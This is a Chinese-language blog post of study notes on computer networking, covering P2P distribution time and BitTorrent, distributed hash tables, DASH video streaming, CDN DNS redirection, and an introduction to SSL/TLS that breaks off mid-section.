在2.1.1节讲过,使用P2P体系结构,对总是打开的基础设施服务器依赖最少(或者没有依赖). 与之相反,成对间歇连接的主机(称为对等方)彼此直接通信. 这些对等方并不为服务提供商所拥有,而是受用户控制的计算机. </p><p>&emsp;&emsp;在本节中我们将研究一个非常自然的P2P应用,即从单一服务器向大量主机(称为对等方)分发一个大文件. 该文件也许是一个新版的Linux操作系统,也许是对于现有操作系统或应用程序的一个软件补丁,或一个MPEG视频文件. 在客户-服务器文件分发中,该服务器必须向每个对等方发送该文件的一个副本,即服务器承受了极大的负担,并且消耗了大量的服务器带宽. 在P2P文件分发中,每个对等方能够向任何其他对等方重新分发它已经收到的该文件的任何部分,从而在分发过程中协助该服务器. 到2020年止,最为流行的P2P文件分发协议是BitTorrent. 该应用程序最初由Bram Cohen研发,现不在有许多不同的独立且符合BitTorrent协议的BitTorrent客户,就在有许多像有许多符合HTTP协议的Web浏览器客户一样. 在下面的小节中,我们首先考察在文件分发环境中P2P体系结构的自扩展性. 然后我们更为详细地描述BitTorrent,突出它的最为重要的特性. </p><p><strong>1.P2P体系结构的扩展性</strong></p><p>&emsp;&emsp;为了将客户-服务器体系结构与P2P体系结构进行比较,阐述P2P的内在自扩展性,我们现在考虑一个用于两种体系结构类型的简单定量模型，将一个文件分发给一个固定对等方集合. 如图2-21所示,服务器和对等方使用接入链路与因特网相连. 其中$u_s$表示服务器接入链路的上载速率,$u_i$表示第i对等方接入链路的上载速率,$d_i$表示第i对等方接入链路的下载速率. 用F表示被分发的文件长度(以bit计),N表示要获得该文件副本的对等方的数量. <font color="#ff9f9f"><strong>分发时间(distribution time)</strong></font>是所有N个对等方得到该文件的副本所需要的时间. 在下面分析分发时间的过程,我们对客户-服务器和P2P体系结构做了简化(并且通常是准确的[Akela 2003])的假设,即因特网核心具有足够的带宽,这意味着所有瓶颈都在网络接入链路. 我们还假设服务器和客户没有参与任何其他网络应用,因此它们的所有上传和下载访问带宽能被全部用于分发该文件. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/21.png"><p>&emsp;&emsp;我们首先来确定对于客户-服务器体系结构的分发时间,我们将其表示为$D_{cs}$. 在客户-服务器体系结构,没有对等方帮助分发文件. 那么情况大致如下：</p><ul><li>服务器必须向N个对等方的每个传输该文件的一个副本. 因此该服务器必须传输<code>NF bit</code>量值的数据. 因为该服务器的上载速率是$u_s$,分发该文件的时间必定至少为$NF&#x2F;u_{s}$. </li><li>令$d_{min}$表示具有最小下载速率的对等方的下载速率,即$d_{min}&#x3D;min{d_1, d_2, …, d_N}$. 具有最小下载速率的对等方不可能在少于$F&#x2F;d_{min}$s的时间内获得该文件的所有F bit. 因此最小分发时间至少为$F&#x2F;d_{min}$s.</li></ul><p>将以上两条综合，我们就可以得到：$$D_{cs} \geqslant max\lbrace\frac{NF}{u_s}, \frac{F}{d_{min}}\rbrace$$&emsp;&emsp;该式提供了对于客户-服务器体系结构的最小分发时间的下界. 因此我们取上面提供的这个下界作为实际发送时间,即下式(2-1)：$$D_{cs} &#x3D; max\lbrace\frac{NF}{u_s},\frac{F}{d_{min}}\rbrace$$&emsp;&emsp;我们从式(2-1)看到，对于足够大的N，客户-服务器分发时间由$ND&#x2F;u_s$确定. 所以，该分发时间随着对等方N的数量线性地增加. 因此举例来说,如果从某星期到下星期对等方的数量从1000增加了到了100万,将该文件分发到所有对等方所需要的时间就要增加1000倍. </p><p>&emsp;&emsp;我们现在来对P2P体系结构进行简单的分析,其中每个对等方能够帮助服务器分发该文件. 特别是当一个对等方接收到某些文件数据,它能够使用自己的上载能力重新将数据分发给其他对等方. 计算P2P体系结构的分发间在某种程度上比计算客户-服务器体系结构的更为复杂,因为分发时间取决于每个对等方如何向其他对等方分发该文件的各个部分. 无论如何,能够得到对该最小分发时间的一个简单表达式[Kumar 2006]. 至此,我们先做如下观察:</p><ul><li>在分发的开始，只有服务器具有文件. 为了使社区的这些对等方得到该文件，该服务器必须经其接入链路至少发送该文件的额每个bit一次. 因此，最小分发时间至少是$F&#x2F;u_s$. (与客户-服务器方案不同，由服务器发送过一次的比特可能不必由该服务器再次发送，因为对等方在它们之间可以重新分发这些比特. )</li><li>与客户-服务器体系结构相同，具有最低下载速率的对等方不能够以小于$F&#x2F;d_{min}$s的分发时间获得所有F bit. 因此最小分发时间至少为$F&#x2F;d_{min}$. </li><li>最后，观察到系统整体的总上载能力等于服务器的上载速率加上每个单独的对等方的上载速率,即$u_{total}&#x3D;u_s+u_1+…+u_N$. 整个系统必须向这N个对等方交付F bit的数据，因此总共交付NF bit. 这不能以快于$u_{total}$的速率完成. 因此，最小的分发时间也至少是$NF&#x2F;(u_s+u_1+…+u_N)$.</li></ul><p>将这三项观察放在一起，我们获得了对P2P的最小分发时间，表达为$D_{P2P}$(下式记作式2-2). $$D_{cs} \geqslant max\lbrace\frac{F}{u_s},\frac{F}{d_{min}},\frac{NF}{u_s+\sum_{i&#x3D;1}^Nu_i}\rbrace$$&emsp;&emsp;式(2-2)提供了对于P2P体系结构的最小分发时间的下界. 这说明，如果我们认为一旦每个对等方接收到一个比特就能够重分发一个比特的话,则存在一个重新分发方案能实际取得这种下界[Kumar 2006]. 实际上，备份发的是文件块而不是一个个bit. 式(2-2)能够作为1实际最小分发时间的近似值. </p><p>&emsp;&emsp;图2-22比较了客户-服务器和P2P体系结构的最小分发时间,其中假定所有的对等方具有相同的上载速率u. 在图2-22中,我们已经设置了F&#x2F;u&#x3D;1小时，$u_s&#x3D;10u, d_{min} \geqslant u_s$. 即在一个小时中一个对等方能够传输整个文件，该服务器的传输速率是对等方上载速率的10倍，并且对等方的下载速率被设置得足够大，使之不会产生影响. 我们从图2-22中看到,对于客户-服务器体系结构,随着对等方数量的增加,分发时间呈线性增长并且没有界. 然而,对于P2P体系结构,最小分发时间不仅总是小于客户-服务器体系结构的分发时间,并且对于任意的对等方数量N,总是小于1小时. 因此,具有P2P体系结构的应用程序能够是自扩展的. 这种扩展性的直接成因是：对等方除了是比特的消费者外还是它们的重新分发者. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/22.png"><p><strong>2.BitTorrent</strong></p><p>&emsp;&emsp;BitTorrent是一种用于文件分发的流行P2P协议[Chao 2011]. 用BitTorment的术语来讲,参与一个特定文件分发的所有对等方的集合被称为一个<font color="#ff9f9f"><strong>洪流(torrent)</strong></font>. 在一个洪流中的对等方彼此下载<strong>等长度的文件块(chunk)</strong>,典型的块长度为256KB. 当一个对等方首次加入一个洪流时,它没有块. 随着时间的流逝,它累积了越来越多的块. 当它下载块时,也为其他对等方上载了多个块. 一且某对等方获得了整个文件,它也许离开潜流,或留在该洪流中并继续向其他对等方上载块. 同时,任何对等方可能在仅具有块的子集的情况下就离开该洪流,并在以后重新加入该洪流中. </p><p>&emsp;&emsp;我们现在更为仔细地观察BitTorrent运行的过程. 因为BitTorrent是一个相当复杂的协以,所以我们将仅描述它最重要的机制. 每个洪流具有一个基础设施节点,称为<font color="#ff9f9f"><strong>追踪器(tracker)</strong></font>. 当一个对等方加入某洪流时,它向追踪器注册自己,并周期性地通知追踪器它仍在该洪流中. 以这种方式,追踪器跟踪参与在洪流中的对等方. 一个给定的洪流可能在任何时刻具有数以百计或数以千计的对等方. </p><p>&emsp;&emsp;如图2-23所示,当一个新的对等方Alice加入该洪流时,追踪器随机地从参与对等方的集合中选择对等方的一个子集(为了具体起见,设有50个对等方),并将这50个对等方的了IP地址发送给Alice. Alice持有对等方的这张列表,试图与该列表上的所有对等方创建并行的TCP连接. 我们称所有这样与Alice成功地创建一个TCP连接的对等方为“邻近对等方”(在图2-23中,Alice显示了仅有三个邻近对等方. 通常,她应当有更多的对等方). 随着时间的流逝,这些对等方中的某些可能离开,其他对等方(最初50个以外的)可能试图与Alice创建TCP连接. 因此一个对等方的邻近对等方将随时间而波动. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/23.png"><p>&emsp;&emsp;在任何给定的时,每个对等方将具有来自该文件的块的子集,并且不同的对等方具有不同的子集. Alice周期性地(经TCP连接)询问每个邻近对等方它们所具有的块列表. 如果Alice具有L个不同的邻居,她将获得L个块列表. 有了这个信息,Alice将对她当前还没有的块发出请求(仍通过TCP连接). </p><p>&emsp;&emsp;因此在任何给定的时刻,Alice将具有块的子集并知道它的邻居具有哪些块. 利用这些信息,Alice将做出两个重要决定. 第一,她应当从她的邻居请求哪些块?第二,她应当向哪些向她请求块的邻居发送块?在决定请求哪些块的过程中,Alice使用一种称为<font color="#ff9f9f"><strong>最稀缺优先(rarest first)</strong></font>的技术. 这种技术的思路是,针对她没有的块在她的邻居中决定最稀缺的块(最稀缺的块就是那些在她的邻居中副本数量最少的块)并首先请求那些最稀缺的块. 这样,最稀缺块得到更为迅速的重新分发,其目标是(大致地)均衡每个块在洪流中的副本数量. </p><p>&emsp;&emsp;为了决定她响应哪个请求,BitTorrent使用了一种机灵的对换算法. 其基本想法是,Alice根据当前能够<strong>以最高速率向她提供数据</strong>的邻居,给出其优先权. 特别是,Alice对于她的每个邻居都持续地测量接收到比特的速率,并确定以最高速率流入的4个邻居. 每过10秒,她重新计算该速率并可能修改这4个对等方的集合. 用BitTorrent术语来说,这4个对等方被称为<font color="#ff9f9f"><strong>疏通(unchoked)</strong></font>. 重要的是,每过30秒,她也要随机地选择另外一个邻居并向其发送块. 我们将这个被随机选择的对等方称为Bob. 因为Alice正在向Bob发送数据,她可能成为Bob前4位上载者之一,这样的话Bob将开始向Alice发送数据. 如果Bob向Alice发送数据的速率足够高,Bob接下来也能成为Alice的前4位上载者. 换言之,每过30秒Alice将随机地选择一名新的对换伴侣并开始与那位伴侣进行对换. 如果这两名对等方都满足此对换,它们将对方放入其前4位列表中并继续与对方进行对换,直到该对等方之一发现了一个更好的伴侣为止. 这种效果是对等方能够以趋向于找到彼此的协调的速率上载. 随机选择邻居也人允许新的对等方得到块,因此它们能够具有对换的东西. 除了这5个对等方(前4个对等方和一个试探的对等方)的所有其他相邻对等方均被“阻塞”,即它们不能从Alice接收到任何块. BitTorrent有一些有趣的机制没有在这里讨论,包括片(小块)、流水线、随机优先选择、残局模型和反念慢[Cohen 2003]. </p><p>&emsp;&emsp;刚刚描述的关于交换的激励机制常被称为“一报还一报”(tit-for-tat)[Cohen 2003]. 已证实这种激励方案能被回避[Liogkas 2006;Locher 2006;Piatek 2008]. 无论如何,BitTorrent“生态系统”取得了广泛成功,数以百万计的并发对等方在数十万条洪流中积极地共享文件. 如果BitTorrent被设计为不采用一报还一报(或一种变种),然而在别的方面却完全相同的协议,BitTorrent现在将很可能不复存在了,因为大多数用户将成为搭便车者了[Sarouiu 2002]. </p><p>&emsp;&emsp;我们简要地提一下另一种P2P应用——分布式散列表(DHT)来结束我们的讨论. 分布式散列表是一种简单的数据库,其数据库记录分布在一个P2P系统的多个对等方上. DHT得到了广泛实现(如在BitTorrent中),并成为大量研究的主题.</p><p>以下内容来自<a href="https://luyuhuang.tech/2020/03/06/dht-and-p2p.html">分布式哈希表 (DHT) 和 P2P 技术</a></p><blockquote><p>早期的一种P2P网络采取了不同的策略,它不设置中央服务器;当用户请求资源时,它会请求它所有的邻接节点,邻接节点再依次请求各自的邻接节点,并使用一些策略防止重复请求,直到找到拥有资源的节点.也就是说,这是一种<strong>泛洪搜索(Flooding Search)</strong>.</p><p>这种P2P网络去除了中央服务器, 它的稳定性就强多了. 然而它太慢了. 一次查找可能会产生大量的请求, 可能会有大量的节点卷入其中. 一旦整个系统中的的节点过多, 性能就会变得很差.</p><p>为了解决这些问题, 分布式哈希表(即前文提到的分布式散列表)应运而生. 在一个有n个节点的分布式哈希表中, 每个节点仅需存储$O(lg⁡n)$个其他节点, 查找资源时仅需请求$O(lg⁡n)$个节点, 并且无需中央服务器, 是一个完全自组织的系统. </p><p><strong>地址管理</strong></p><p>首先, 在分布式哈希表中, 每个节点和资源都有一个唯一标识, 通常是一个160位整数. 为方便起见, 我们称节点的唯一标识为ID, 称资源的唯一标识为Key. 我们可以把一个节点的IP地址用SHA-1算法哈希得到这个节点的ID; 同样地, 把一个资源文件用SHA-1算法哈希就能得到这个资源的Key了.</p><p>定义好ID和Key之后, 就可以发布和存储资源了. 每个节点都会负责一段特定范围的Key, 其规则取决于具体的算法. 例如, 在Chord算法中, 每个Key总是被第一个ID大于或等于它的节点负责. 在发布资源的的时候, 先通过哈希算法计算出资源文件的Key, 然后联系负责这个Key的节点, 把资源存放在这个节点上. 当有人请求资源的时候, 就联系负责这个Key的节点, 把资源取回即可.</p><p>发布和请求资源有两种做法, 一种是直接把文件传输给负责的节点, 由它存储文件资源; 请求资源时再由这个节点将文件传输给请求者. 另一种做法是由发布者自己设法存储资源, 发布文件时把文件所在节点的地址传输给负责的节点, 负责的节点仅存储一个地址; 请求资源的时候会联系负责的节点获取资源文件的地址, 然后再取回资源. 这两种做法各有优劣. 前者的好处是资源的发布者不必在线, 请求者也能获取资源; 坏处是如果文件过大, 就会产生较大的传输和存储成本. 后者的好处是传输和存储成本都比较小, 但是资源的发布者, 或者说资源文件所在的节点必须一直在线.</p><p><strong>路由算法</strong></p><p>上面我们简述了地址系统,以及如何发布和取回资源.但是现在还有一个大问题:如何找到负责某个特定Key的节点呢? 这里就要用到路由算法了.不同的分布式哈希表实现有不同的路由算法,但它们的思路是一致的.</p><p>首先每个节点会路由若干个其他节点的联系方式(IP地址,端口), 称之为路由表. 一般来说一个有着n个节点的分布式哈希表中, 一个节点的路由表的长度为$O(lg⁡n)$.每个节点都会按照特定的规则构建路由表, 最终所有的节点会形成一张网络.从一个节点发出的消息会根据特定的路由规则,沿着网络逐步接近目标节点,最终达到目标节点.在有着n个节点的分布式哈希表中, 这个过程的转发次数通常为$O(lg⁡n)$次.</p><p><strong>自我组织(self-organization)</strong></p><p>分布式哈希表中的节点都是由各个用户组成,随时有用户加入,离开或失效;并且分布式哈希表没有中央服务器,也就是说着这个系统完全没有管理者.这意味着分配地址,构建路由表,节点加入,节点离开,排除失效节点等操作都要靠自我组织策略实现.</p><p>要发布或获取资源,首先要有节点加入.一个节点加入通常有以下几步.首先,一个新节点需要通过一些外部机制联系分布式哈希表中的任意一个已有节点;接着新节点通过请求这个已有节点构造出自己的路由表,并且更新其他需要与其建立连接的节点的路由表;最后这个节点还需要取回它所负责的资源.</p><p>此外我们必须认为节点的失效是一件经常发生的事,必须能够正确处理它们.例如,在路由的过程中遇到失效的节点,会有能够替代它的其他节点来完成路由操作;会定期地检查路由表中的节点是否有效;将资源重复存储在多个节点上以对抗节点失效等.另外分布式哈希表中的节点都是自愿加入的,也可以自愿离开.节点离开的处理与节点失效类似,不过还可以做一些更多的操作,比如说立即更新其他节点的路由表,将自己的资源转储到其他节点等.</p></blockquote><h3 id="视频流和内容分发网"><a href="#视频流和内容分发网" class="headerlink" title="视频流和内容分发网"></a>视频流和内容分发网</h3><p>&emsp;&emsp;众多评估数据显示,包括Netflix、YouTube和亚马逊Prime在内的流式视频,大约占2020年因特网流量的80%[Cisco 2020]. 在本节中,我们将概述流行的视频流式服务在今天的因特网中是如何实现的. 我们将看到,其实现使用了应用层协议,以及以某种方式起到高速缓存作用的服务器. </p><h4 id="因特网视频"><a href="#因特网视频" class="headerlink" title="因特网视频"></a>因特网视频</h4><p>&emsp;&emsp;在流式存储视频应用中,基础的媒体是预先录制的视频,例如电影、电视节目、录制好的体育事件或录制好的用户生成的视频(如通常在YouTube上可见的那些). 这些预先录制好的视频放置在服务器上,用户按需向这些服务器发送请求来观看视频. 许多因特网公司现在提供流式视频,这些公司包括Netflix、YouTube(谷歌)、亚马逊和抖音等. </p><p>&emsp;&emsp;但在开始讨论视频流之前,我们先迅速感受一下视频媒体. 视频是一系列的图像,通常以一种恒定的速率(如每秒24或30张图像等)来展现. 一幅未压缩、数字编码的图像由像素阵列组成,其中每个像素由一些比特编码来表示亮度和颜色. 视频的一个重要特征是能够被压缩,因而可用比特率来权衡视频质量. 今天现成的压缩算法能够将一个视频压缩成所希望的任何比特率. 当然,比特率越高,图像质量越,用户的总体视觉感受越好. </p><p>&emsp;&emsp;从网络的观点看,也许视频最为突出的特征是高比特率. 压缩的因特网视频的比特率范围通常从用于低质量视频的100kbps,到用于流式高分辩率电影的超过4Mbps,再于4K在线播放的超过10Mbps. 到用这能够转换为巨大的流量和存储,特别是对高端视频. 例如,单一2Mbps视频在67分钟期间将耗费1GB的存储和流量. 到目前为止,对流式视频的最为重要的性能度量是平均端到端吞吐量. 为了提供连续不断的播放,网络必须为流式应用提供平均吞吐量,这个流式应用至少与压缩视频的比特率一样大. </p><p>&emsp;&emsp;我们也能使用压缩生成相同视频的多个版,每个版本有不同的质量等级. 例如,我们能够使用压缩生成相同视频的3个版本,比特率分别为300kbps、1Mbps和3Mbps. 用户则能够根据他们当前可用带宽来决定观看哪个版本. 具有高速因特网连接的用户也许选择3Mbps版本,使用智能手机通过3G观看视频的用户可能选择300kbps版本. </p><h4 id="http流和dash"><a href="#HTTP流和DASH" class="headerlink" title="HTTP流和DASH"></a>HTTP流和DASH</h4><p>&emsp;&emsp;在HTTP流中,视频只是存储在HTTP服务器中作为一个普通的文件,每个文件有一个特定的URL. 当用户要看该视频时,客户与服务器创建一个TCP连接并发送对该URL的HTTP GET请求. 服务器则以底层网络协议和流量条件允许的尽可能快的速率,HTTP响应报文中发送该视频文件. 在客户一侧,字节被收集在客户应用缓存中. 一旦该缓存中的字节超过预先设定的门限，客户应用程序就开始播放，特别是，流式视频应用程序周期性地从客户应用程序缓存中抓取帧，对这些帧解压缩并且在用户屏幕上展现. 因此，流式视频应用接收到视频就进行播放，同时缓存该视频后面部分的帧. </p><p>&emsp;&emsp;如前一小节所述,尽管HTTP流在实践中已经得到广泛部署(例如,自YouTube发展初期开始)，但它有严重缺陷,即所有客户接收到相同编码的视频,尽管对不同的客户或者对于相同客户的不同时间而言,客户可用的带宽大小有很大不同. 这导致了一种新型的基于HTTP的流的研发,它常常被称为<font color="#ff9f9f"><strong>经HTTP的动态适应性流(Dynamic Adaptive Steaming over HTTP,DASH)</strong></font>. 在DASH中视频编码为几个不同的版本,其中每个版本具有不同的比特率,对应于不同的质量水平. 客户动态地请求来自不同版本且长度为几秒的视频段数据块. 当可用带宽量较高时,客户自然地选择来自高速率版本的块;当可用带宽量较低,客户自然地选择来自低速率版本的块. 客户用HTTP GET请求报文一次选择一个不同的块[Akhshabi 2011]. DASH允许客户使用不同的因特网接入速率来流式播放不同编码速率的视频. 使用低速3G连接的客户能够接收低比特率(和低质量)的版本,使用光纤连接的客户能够接收高质量的版本. 如果端到端带宽在会话过程中改变的话,DASH人允许客户适应可用带宽. 这种特色对于移动用户特别重要,当移动用户相对于基站移动,通常他们能感受到其可用带宽的波动. </p><p>&emsp;&emsp;使用DASH后,0HTTP服务器,每个版本都有一个不同的URL. HTTP服务器也有一个<font color="#ff9f9f"><strong>告示文件(manifest file)</strong></font>,为每个版本提供了一个URL及其比特率. 客户首先请求该告示文件并且得知各种各样的版本. 然后客户通过在HTTP GET请求报文中对每块指定一个URL和一个字节范围，一次选择一块. 在下载块的同时，客户也测量接受带宽并运行一个速率决定算法来选择下次请求的块. 自然地，如果客户缓存地视频很多，并且测量到的接受带宽较高，它将选择一个高速率的版本. 同样，如果用户缓存的视频很少，并且测量的接受带宽较低，它将选择一个低速率的版本. 因此DASH允许客户自由地在不同的质量等级之间切换.  </p><h4 id="内容分发网"><a href="#内容分发网" class="headerlink" title="内容分发网"></a>内容分发网</h4><p>&emsp;&emsp;今天,许多因特网视频公司日复一日地向数以百万计的用户按需分发每秒数兆比特的流. 向位于全世界的所有用户流式传输所有流量同时提供连续播放和高交互性显然是一项有挑战性的任务. </p><p>&emsp;&emsp;对于一个因特网视频公司,或许提供流式视频服务最为直接的方法是建立单一的大规模数据中心,在数据中心中存储其所有视频,并直接从该数据中心向世界范围的客户传输流式视频. 但是这种方法存在三个问题. </p><ul><li>首先，如果客户远离数据中心,服务器到客户的分组将跨越许多通信链路并很可能通过许多ISP,其中某些ISP可能位于不同的大洲,如果这些链路之一提供的春吐量小于视频消耗速率,端到端吞吐量也将小于该消耗速率,给用户带来恼人的停滞时延. (第1章讲过,一条流的端到端吞吐量由瓶颈链路的吞吐量所决定)出现这种事件的可能性随着端到端路径中链路数量的增加而增加. </li><li>第二个缺陷是流行的视频很可能经过相同的通信链路发送许多次. 这不仅浪费了网络带宽,因特网视频公司自己也将为向因特网反复发送相同的字节而向其ISP支付费用. </li><li>第三个问题是单个数据中心代表一个单点故障,如果数据中心或其通向因特网的链路崩溃,它将不能够分发任何视频流了.</li></ul><p>&emsp;&emsp;为了应对向分布于全世界的用户分发巨量视频数据的挑成,几乎所有主要的视频流公司都使用了CDN. CDN管理分布在多个地理位置上的服务器,在它的服务器中存储视频(和其他类型的Web内容,包括文档、图片和音频)的副本,并且试图将所有用户请求定向到一个提供最好用户体验的CDN位置. CDN可以是专用CDN(private CDN),即由内容提供商自己所拥有,例如谷歌的CDN分发YouTube视频和其他类型的内容. CDN还可以是第三方CDN(third-party CDN),它代表多个内容提供商分发内容,Akamai、Limelight和Level-3都选择第三方CDN.  </p><p>CDN通常采用两种不同的服务器安置原则:</p><ul><li><font color="#ff9f9f"><strong>深入</strong></font>：第一个原则由Akamai首创,该原则是通过在遍及全球的接入ISP中部署服务器集群来深入到ISP的接入网中. Akamai在数以千计个位置采用这种方法部署集群. 其目标是靠近端用户,通过减少端用户和CDN集群之间的链路和路由器的数量,从而改善了用户感受的时延和吞吐量. 因为这种高度分布式设计,维护和管理集群的任务成为挑战. </li><li><font color="#ff9f9f"><strong>邀请做客</strong></font>：第二个设计原则由Limelight和许多其他CDN公司所采用,该原则是通过在少量(例如10个)关键位置建造大集群来邀请到ISP做客(即与ISP进行数据的交换，更接近ISP). 不是将集群放在接入ISP中这些CDN通常将它们的集群放置在因特网交换点(IXP). 与深入设计原则相比,邀请做客设计通常产生较低的维护和管理开销,但是可能对端用户造成较高时延和较低吞吐量.</li></ul><blockquote><p>接入网指的是骨干网络到端用户之间的网络连接. </p><p>互联网交换中心（Internet Exchange Point，IXP）是一种物理基础设施，用于在不同的互联网服务提供商（ISP）和内容分发网络（CDN）之间交换互联网流量. </p></blockquote><p>&emsp;&emsp;一旦CDN的集群准备就绪,它就可以跨集群复制内容. CDN可能不希望将每个视频的副本放置在每个集群,因为某些视频很少被观看或仅在某些国家中流行. 事实上,许多CDN没有将视频推人它们的集群,而是使用一种简单的拉策略:如果客户向一个未存储该视频的集群请求某视频,则该集群(从某中心仓库或者从另一个集群)检索该视频,向客户流式传输视频的同时在本地存储一个副本. 类似于Web缓存,当某集群存储器变满时,它删除不经常请求的视频. </p><p><strong>1.CDN操作</strong></p><p>&emsp;&emsp;在讨论过这两种部署CDN的重要方法后,我们现在深入看看CDN操作的细节. 当用户主机中的一个浏览器指令检索一个特定的视频(由URL标识)时,CDN必须截获该请求,以便能够进行以下操作：</p><ul><li>确定此时适合用于该客户的CDN服务器集群</li><li>将客户的请求重定向到该集群的某台服务器</li></ul><p>&emsp;&emsp;我们很快将讨论CDN是如何能够确定一个适当的集群的. 但是我们首先考察截获和重定向请求所依赖的机制. </p><p>&emsp;&emsp;大多数CDN利用DNS来截获和重定向请求. 我们考虑用一个简单的例子来说明通常是怎样使用DNS的. 假定有一个内容提供商NetCinema,雇用了第三方CDN公司KingCDN来向其客户分发视频. 在NetCinema的Web网页上,它的每个视频都被指派了一个URL,该URL包括字符串“video”以及该视频本身的独特标识符. 例如,<font color="#ff9f9f">变形金刚7</font>可以指派为<a href="http://video.netcinema.com/6Y7B23V">http://video.netcinema.com/6Y7B23V</a>. 接下来出现如图2-24所示的6个步骤:</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/24.png"><ul><li>用户访问位于NetCinema的Web网页. </li><li>当用户点击链接<a href="http://video.netcinema.com/6Y7B23V%E6%97%B6%E8%AF%A5%E7%94%A8%E6%88%B7%E4%B8%BB%E6%9C%BA%E5%8F%91%E9%80%81%E4%BA%86%E4%B8%80%E4%B8%AA%E5%AF%B9%E4%BA%8Evideo.netcinema.com%E7%9A%84DNS%E8%AF%B7%E6%B1%82">http://video.netcinema.com/6Y7B23V时该用户主机发送了一个对于video.netcinema.com的DNS请求</a>. </li><li>用户的本地DNS服务器(LDNS)将该DNS请求中继到一台用于NetCinema的权威DNS服务器,该服务器观察到主机名video.netcinema.com中的字符串“video”(存在CNAME记录使得该url被映射为指定url). 为了将该DNS请求移交给KingCDN,NetCinema权威DNS服务了将该DNS请求移交给KingCDN，NetCinema权威DNS服务器并不返回一个IP地址,而是向LDNS返回一个KingCDN域的主机和名,如a1105.kingcdn.com. </li><li>从这时起,DNS请求进入了KingCDN专用DNS基础设施. 用户的LDNS则发送第二个请求,此时是对a1105.kingcdn.com的DNS请求,KingCDN的DNS系统最终向LDNS返回KingCDN内容服务器的IP地址. 所以正是在这里,在KingCDN的DNS系统中,指定了CDN服务器,客户将能够从这人台服务器接收到它的内容. </li><li>LDNS向用户主机转发内容服务CDN节点的IP地址. </li><li>一旦客户收到KingCDN内容服务器的IP地址,它与具有该IP地址的服务器创建了一条直接的TCP连接,并且发出对该视频的HTTPGET请求. 如果使用了DASH,服务器将首先向客户发送具有URL列表的告示文件,每个URL对应视频的每个版本,并且客户将动态地选择来自不同版本的块.</li></ul><p><strong>2.集群选择策略</strong></p><p>&emsp;&emsp;任何CDN部署，其核心都是<font color="#ff9f9f"><strong>集群选择策略(cluster selection strategy)</strong></font>,即动态地将客户定向到CDN中的某个服务器集群或数据中心的机制. 如我们刚才所见，经过客户的DNS查找，CDN得知了该客户的LDNS服务器的IP地址. 在得知该IP地址之后，CDN需要基于该IP地址选择一个适当的集群. CDN一般采用专用的集群选择策略. 我们现在简单地介绍一些策略，每种策略都有优缺点. </p><p>&emsp;&emsp;一种简单的策略是指派用户到<font color="#ff9f9f"><strong>地理上最为邻近(geographically closest)</strong></font>的集群. 使用商用地理位置数据库，每个LDNS IP地址都映射到一个地理位置. 当从一个特殊的LDNS接受到一个DNS请求时，CDN选择地理上最为接近的集群，即离LDNS最少几千米远的集群，“就像鸟飞一样”. 这样的解决方案对于众多用户来说能够工作的相当好. 但对某些用户，该解决方案可能执行效果比较差，因为就网络路径的长度或跳数而言，地理最邻近的集群可能并不是最近的集群. 此外，所有基于DNS的方法都具有的问题时，某些端用户配置使用位于远地的LDNS，在这种情况下，LDNS位置可能远离客户的位置. 此外,这种简单的策略忽略了时延和可用带宽随因特网路径时间而变化,总是为特定的客户指派相同的集群. </p><p>&emsp;&emsp;为了基于当前流量条件为客户确定最好的集群,CDN能够对其集群和客户之间的时延和丢包性能执行周期性的<font color="#ff9f9f"><strong>实时测量(real-time measurement)</strong></font>. 例如,CDN能够让它的每个集群周期性地向位于全世界的所有LDNS发送探测分组(例如,ping报文或DNS请求). 这种方法的一个缺点是许多LDNS被配置为不响应这些探测. </p><h3 id="sslx2ftls"><a href="#SSL-TLS" class="headerlink" title="SSL&#x2F;TLS"></a>SSL&#x2F;TLS</h3><blockquote><p>该部分为额外内容,参考:</p><ul><li><a href="https://segmentfault.com/a/1190000021559557">HTTPS详解二：SSL&#x2F;TLS工作原理和详细握手过程</a></li><li><a href="https://zhuanlan.zhihu.com/p/133375078">一篇文章让你彻底弄懂SSL&#x2F;TLS协议</a></li></ul></blockquote><h4 id="什么是ssl"><a href="#什么是SSL" class="headerlink" title="什么是SSL"></a>什么是SSL</h4><p>&emsp;&emsp;<font color="#ff9f9f"><strong>SSL（Secure Sockets Layer）</strong></font> 是一种用于在网络上保护信息安全的标准安全技术. 它通过对网络连接进行加密来确保数据在客户端和服务器之间的安全传输. SSL协议使用了非对称加密和对称加密技术，可以防止数据在传输过程中被窃取或篡改. </p><p>&emsp;&emsp;HTTP 在传输数据时使用的是明文是不安全的，为了解决这一隐患，网景公司(Netscape)推出了 SSL 安全套接字协议层. SSL 是基于HTTP之下，TCP 之上的一个协议层，是基于 HTTP 标准并对 TCP 传输数据时进行加密，所以 HPPTS 即 HTTP+SSL&#x2F;TLS，Https 默认使用端口443. </p><h4 id="ssl协议组成"><a href="#SSL协议组成" class="headerlink" title="SSL协议组成"></a>SSL协议组成</h4><p>SSL协议由SSL记录协议和SSL握手协议组成. </p><ul><li><code>SSL记录协议（SSL Record Protocol）</code>：它建立在可靠的传输协议（如TCP）之上，为高层协议提供数据封装、压缩、加密等基本功能的支持. </li><li><code>SSL握手协议（SSL Handshake Protocol）</code>：它建立在SSL记录协议之上，用于在实际的数据传输开始前，通讯双方进行身份认证、协商加密算法、交换加密密钥等.</li></ul><h4 id="什么是tls"><a href="#什么是TLS" class="headerlink" title="什么是TLS"></a>什么是TLS</h4><p>&emsp;&emsp;<font color="#ff9f9f"><strong>TLS(Transport Layer Security)</strong></font>是IETF在SSL3.0基础上设计的协议，实际上相当于SSL的后续版本. SSL&#x2F;TLS是一个安全通信框架，上面可以承载HTTP协议或者SMTP&#x2F;POP3协议等. </p><h4 id="tls协议的架构"><a href="#TLS协议的架构" class="headerlink" title="TLS协议的架构"></a>TLS协议的架构</h4><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/25.png"><p>&emsp;&emsp;TLS主要分为两层，下层是TLS记录协议，主要负责使用对称密码对消息进行加密. 上层是TLS握手协议，主要分为如图的4个部分. </p><ul><li>握手协议负责在客户端和服务器端商定密码算法和共享密钥，包括证书认证，是4个协议中最最复杂的部分. 